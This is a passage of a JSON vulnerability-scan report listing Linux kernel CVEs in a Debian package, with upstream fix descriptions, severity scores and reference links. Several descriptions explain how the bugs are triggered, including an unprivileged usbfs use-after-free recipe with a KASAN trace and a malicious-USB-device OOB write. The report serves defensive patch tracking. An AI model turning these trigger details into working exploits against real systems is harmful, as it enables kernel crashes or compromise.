nf_conntrack_reasm and\n6lowpan reassembly share; then neither the head nor the frag_list\nmembers of the reassembled skb carry them (the members matter too:\nthe ip_do_fragment()/ip6_fragment() fast paths send them out as they\nare). The head may remain CHECKSUM_PARTIAL; that is already accepted\non receive and resolved by skb_checksum_help() in\nip_do_fragment()/ip6_fragment() on forward.\n\nTested on top of net.git (dc4b95b8fee9), x86_64: the tap reproducer\nabove, two further IPv4 frag_list geometries that reach\nBUG_ON(i \u003e= nfrags) and BUG_ON(!list_skb-\u003ehead_frag), and an IPv6\nfragment-header variant (udp6_ufo_fragment()) each panic the unpatched\nkernel; with this patch all four datagrams are delivered intact and\nnothing is logged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "V3Score": 7.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-80590", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/linus/d5dc1e69fd7258ea605c9952e5d5947539159ae3%20%287.3-rc1%29", "https://git.kernel.org/stable/c/14a8f3e10fa9a5abd6cedcdaa0c0b7ea9a09f234", "https://git.kernel.org/stable/c/29dda278a5ed272f2230ff4eaa23cf403107bba0", "https://git.kernel.org/stable/c/3edf721bb4b99d272c336631b44e3d8ff9a4f31b", "https://git.kernel.org/stable/c/69b73b74d9eb45f5560a8fe4fa406ada580e1340", "https://git.kernel.org/stable/c/c49f04e8d2b94dbb8d9fd99731dd3f00589c8ace", "https://git.kernel.org/stable/c/cfdbc8c2e6f9ef5d8b8e54859da03dfe682b0bee", "https://git.kernel.org/stable/c/d5dc1e69fd7258ea605c9952e5d5947539159ae3", "https://git.kernel.org/stable/c/da857e448322a2e871ce3ecc2900027041160d43", "https://git.kernel.org/stable/c/dec2edb7aaf12a8878b3a03172ea8fc277b8eaad", "https://linux.oracle.com/cve/CVE-2026-80590.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026082816-CVE-2026-80590-241e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80590", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80590" ], "PublishedDate": "2026-08-28T08:16:42.517Z", "LastModifiedDate": "2026-10-19T09:17:09.163Z" }, { "VulnerabilityID": "CVE-2026-80714", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80714", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f99f55ab03b364f4ec328fb1fb81a2ae5d615312e894e49849d7360fee63f269", "Title": "kernel: ipvs: do not propagate one-packet flag to synced conns", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: do not propagate one-packet flag to synced conns\n\nSynced connections can be created before their destination exists. When\nthe destination is later added, ip_vs_bind_dest() copies connection flags\nfrom the destination into cp-\u003eflags.\n\nIP_VS_CONN_F_ONE_PACKET connections are not synced. If a synced\nconnection inherits IP_VS_CONN_F_ONE_PACKET while it is already hashed,\nexpiry can treat it as a one-packet connection and skip unlinking the\nexisting conn_tab node, leaving stale hash nodes pointing at a freed\nstruct ip_vs_conn.\n\nDrop IP_VS_CONN_F_ONE_PACKET from destination flags when binding synced\nconnections.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-80714", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b%20%287.2-rc6%29", "https://git.kernel.org/stable/c/06d1d9b56ef8132fbf85006885eb43d9510b8b02", "https://git.kernel.org/stable/c/300348e3ba1521b003d59825f97e24f9a6859688", "https://git.kernel.org/stable/c/44af98cc7d5ef8e730488d5df1eecd5deeaa5947", "https://git.kernel.org/stable/c/4649e6faeecdc2d44bfa6ccbe405eef27e55d816", "https://git.kernel.org/stable/c/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b", "https://git.kernel.org/stable/c/acbdc276091b308ca7794acb86e761f8203e2f59", "https://git.kernel.org/stable/c/b5ee5b266f833601ac4817f6df0bc496fc376a28", "https://git.kernel.org/stable/c/e7acfc990c29890c883d0d0ce3f737d003a43b44", "https://linux.oracle.com/cve/CVE-2026-80714.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026082809-CVE-2026-80714-799a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80714", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80714" ], "PublishedDate": "2026-08-28T08:16:57.053Z", "LastModifiedDate": "2026-10-16T20:18:08.073Z" }, { "VulnerabilityID": "CVE-2026-80725", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71297b43542585f95ce1a9347d719080e8699a52268440a196a88d9b538cfebc", "Title": "kernel: net: gro: properly validate BIG TCP aggregation criteria", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: properly validate BIG TCP aggregation criteria\n\nWhen GRO attempts to aggregate packets beyond GRO_LEGACY_MAX_SIZE (64KB),\nBIG TCP should only be permitted for plain IPv4 TCP and plain IPv6 TCP\n(with sufficient MAC header room to insert the temporary HBH jumbo header).\n\nHowever, commit b1a78b9b9886 (\"net: add support for ipv4 big tcp\")\nloosened the check in skb_gro_receive(), leading to several issues:\n\n1. skb_gro_receive() checked skb_headroom(p) instead of the actual space\n before the MAC header (p-\u003emac_header). Because skb_headroom(p) includes\n mac_len, crafted frames (e.g. injected via AF_PACKET) can pass the check\n with p-\u003emac_header \u003c 8 bytes. When ipv6_gro_complete() inserts the\n temporary HBH jumbo header, the memmove() starts before skb-\u003ehead,\n causing an out-of-bounds write and wrapping skb-\u003emac_header.\n2. It allowed non-IP protocols such as software VLAN (ETH_P_8021Q /\n ETH_P_8021AD) to aggregate beyond 64KB because\n p-\u003eprotocol != ETH_P_IPV6 was true.\n3. It checked p-\u003eencapsulation instead of NAPI_GRO_CB(skb)-\u003eencap_mark,\n allowing encapsulated flows (e.g. SIT / IPv6-in-IPv4) to aggregate\n beyond 64KB.\n\nFix skb_gro_receive() to strictly enforce:\n- NAPI_GRO_CB(skb)-\u003eproto == IPPROTO_TCP\n- Not encapsulated (!NAPI_GRO_CB(skb)-\u003eencap_mark \u0026\u0026 !p-\u003eencapsulation)\n- Protocol must be either ETH_P_IP or ETH_P_IPV6\n- If ETH_P_IPV6, p-\u003emac_header must be at least\n sizeof(struct hop_jumbo_hdr)\n\nReturning -E2BIG from skb_gro_receive() ensures that packets which cannot\nbecome BIG TCP are cleanly flushed at \u003c= 64KB and delivered intact without\ndropping.\n\nThis issue does not exist in mainline (7.0+) because the subsystem was\nrewritten in commit 81be30c1f5f2 (\"net/ipv6: Drop HBH for BIG TCP on RX\nside\"), making this fix relevant only for older stable branches like\n6.18.y.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80725", "https://git.kernel.org/linus/81be30c1f5f2bffda1f04c0efd0746af10b9643a%20%287.0-rc1%29", "https://git.kernel.org/stable/c/03cb8cc2961f5f781d12e903782cb3815ed84b1c", "https://git.kernel.org/stable/c/37a5dcd6837fc2afc44a7bc3ed8af4e983783d46", "https://git.kernel.org/stable/c/3ce832e2bd431d0c12ba525ed73ad8fbc4191da5", "https://git.kernel.org/stable/c/81be30c1f5f2bffda1f04c0efd0746af10b9643a", "https://git.kernel.org/stable/c/e907bf694ed55bdfe421be99dba35751a655df25", "https://linux.oracle.com/cve/CVE-2026-80725.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026082953-CVE-2026-80725-93af@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80725", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80725" ], "PublishedDate": "2026-08-29T07:16:54.573Z", "LastModifiedDate": "2026-10-16T20:18:09.06Z" }, { "VulnerabilityID": "CVE-2026-80780", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80780", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:267110c44360f776e6c9c3d828cf0beda1ffa116379244754faf6da9e67da7c9", "Title": "kernel: HID: pidff: fix OOB write when hid-\u003einputs is empty", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: pidff: fix OOB write when hid-\u003einputs is empty\n\nhid_pidff_init_with_quirks() derives its input_dev from\n\n\tlist_entry(hid-\u003einputs.next, struct hid_input, list)\n\nwithout first checking that hid-\u003einputs is non-empty. The list member\nof struct hid_input is at offset 0, so on an empty list list_entry()\nyields \u0026hid-\u003einputs itself and the following hidinput-\u003einput load reads\nan unrelated member of struct hid_device. dev is then a type-confused\npointer, and force-feedback init writes through it: each\nset_bit(FF_*, dev-\u003effbit) stores 8 bytes at dev + 192, past the end of\nthe object dev actually aliases, and input_ff_create() adds further\nwrites of a heap pointer and two function pointers.\n\nUntil hid-universal-pidff the only caller was hid_pidff_init() from\nusbhid, which runs under HID_CLAIMED_INPUT and therefore always has at\nleast one hid_input. universal_pidff_probe() starts the device with\nHID_CONNECT_DEFAULT \u0026 ~HID_CONNECT_FF and then calls\nhid_pidff_init_with_quirks() directly whenever the descriptor carries a\nPID usage page, bypassing that gate. A report descriptor whose only\napplication collection is on HID_UP_PID leaves hid-\u003einputs empty while\nhid_connect() still succeeds through the hidraw claim, so probe reaches\nthe unguarded list_entry().\n\nThe write happens in the USB probe path, on the hotplug workqueue, so\nplugging in a malicious device is enough to trigger it; no attacker\nsoftware and no logged-in user are required. KASAN reports an 8-byte\nout-of-bounds write in hid_pidff_init_with_quirks() reached from\nuniversal_pidff_probe().\n\nCheck for an empty list before deriving dev and return -ENODEV, as the\nother HID force-feedback drivers already do. universal_pidff_probe()\npropagates the error and unwinds.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80780", "https://git.kernel.org/linus/67bb1074e3d2d12fa059a9cc707e89398a4e4704%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80780.mbox", "https://git.kernel.org/stable/c/2e0471bf3ab2a6b7eedcc3b8a2a17286b6a9ae1a", "https://git.kernel.org/stable/c/4529c03c3da8f91392cd630453452f569973f4cd", "https://git.kernel.org/stable/c/67bb1074e3d2d12fa059a9cc707e89398a4e4704", "https://git.kernel.org/stable/c/86b63adfa5e132beac4be72668fdf9128fe51d2e", "https://git.kernel.org/stable/c/ad9330f7e74a97842815a291a0d7389ed2f34504", "https://git.kernel.org/stable/c/d416eeb7d016d82af67c149d884bc6a9323c4ac7", "https://linux.oracle.com/cve/CVE-2026-80780.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80780", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80780" ], "PublishedDate": "2026-09-04T16:18:03.723Z", "LastModifiedDate": "2026-10-19T09:17:12.11Z" }, { "VulnerabilityID": "CVE-2026-80792", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80792", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2575449ba82068ab844077a85c42c6a40aac459ede55fbcb4e6573ef2447246e", "Title": "kernel: ipv6: fix use-after-free in ip6_finish_output2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix use-after-free in ip6_finish_output2()\n\nip6_finish_output2() caches a pointer to the IPv6 destination\naddress (daddr) before invoking lwtunnel_xmit(). The LWT-BPF\ntransmit path or other encapsulation operations within\nlwtunnel_xmit() can reallocate the skb head, freeing the memory\nthat daddr points to. When lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, the function continues to use the stale\ndaddr pointer to compute the nexthop and to look up or create the\nneighbour entry. This results in a use-after-free read, which can\nleak sensitive kernel data, pollute the neighbour table with\narbitrary values, misdirect traffic, or crash the system.\n\nFix this by re-fetching the IPv6 header and the destination\naddress pointer after lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, ensuring that the subsequent nexthop\ncomputation and neighbour lookup operate on valid memory.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76738", "https://access.redhat.com/security/cve/CVE-2026-80792", "https://bugzilla.redhat.com/2482115", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2486398", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2496574", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502330", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502384", "https://bugzilla.redhat.com/2502395", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2502554", "https://bugzilla.redhat.com/2502619", "https://bugzilla.redhat.com/2508320", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2528542", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/2540500", "https://errata.almalinux.org/10/ALSA-2026-76738.html", "https://git.kernel.org/linus/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80792.mbox", "https://git.kernel.org/stable/c/087ee0d914aaae929f1660c9ca878e367655ba1a", "https://git.kernel.org/stable/c/3c770ac4e6f07af7c7b40c474a3efc61ffed7862", "https://git.kernel.org/stable/c/3dc98e5fe82d069dd29b124ffbdb679331dfea43", "https://git.kernel.org/stable/c/73a187384a8c8b983c7fea046d716b6752a1e7a3", "https://git.kernel.org/stable/c/75e0a544ebe9af663ef53ca21e9e9185c51fb54a", "https://git.kernel.org/stable/c/99219c82804f266189388e8bf1cf5135d10d5515", "https://git.kernel.org/stable/c/c95f01b78266828a57060d754fcbfc92123a98ed", "https://git.kernel.org/stable/c/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e", "https://git.kernel.org/stable/c/d960881b9312e781a3429aabceb223ce6b7c882f", "https://linux.oracle.com/cve/CVE-2026-80792.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80792", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80792" ], "PublishedDate": "2026-09-04T16:18:05.46Z", "LastModifiedDate": "2026-11-06T17:19:58.553Z" }, { "VulnerabilityID": "CVE-2026-80824", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5ccf90d7932b4ac00b7cb15646d154f49605f0b43a7ae688abc98c3604063aaa", "Title": "kernel: usb: usbfs: fix use-after-free of usb_device in usbdev_release()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: usbfs: fix use-after-free of usb_device in usbdev_release()\n\nusbdev_release() drops its reference to the struct usb_device before\ndraining the list of completed async URBs, but that drain path reads back\nthrough the same object: free_async() calls dec_usb_memory_use_count()\nfor any URB whose buffer came from the usbfs mmap() region, and its first\nstatement is bus_to_hcd(ps-\u003edev-\u003ebus).\n\nAfter a disconnect the usbfs reference can be the last one, in which case\nusb_put_dev() frees the device and the subsequent loop reads offset 80 of\nfreed memory and uses the result as a struct usb_hcd *, which\nhcd_buffer_free_pages() then dereferences.\n\nThis is reachable by an unprivileged process that has read/write access to\na /dev/bus/usb node: mmap() the fd, submit one URB with a buffer inside the\nmapping, wait for the device to be unplugged, then munmap() and close().\nIt reproduces on every attempt rather than being a race, because a live\nMAP_SHARED vma holds a reference on the struct file, so usbdev_release()\ncannot run until the last vma is gone and the freeing branch of\ndec_usb_memory_use_count() is always taken.\n\n BUG: KASAN: slab-use-after-free in dec_usb_memory_use_count+0x3ae/0x410\n Read of size 8 at addr ffff8880122ee050 by task poc/769\n CPU: 1 UID: 1000 PID: 769 Comm: poc Tainted: G B 6.12.94 #3\n\n Call Trace:\n dec_usb_memory_use_count+0x3ae/0x410\n free_async+0x2aa/0x4f0\n usbdev_release+0x375/0x460\n __fput+0x3ea/0xb50\n __x64_sys_close+0x86/0x100\n\n Allocated by task 11:\n usb_alloc_dev+0x55/0xd90\n hub_event+0x2524/0x43d0\n\n Freed by task 769:\n kfree+0x121/0x360\n device_release+0xd2/0x280\n usb_put_dev+0x23/0x30\n usbdev_release+0x2d8/0x460\n\nRelease the device reference after the drain loop instead. Nothing between\nthe two points requires it to have been dropped.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-80824", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", 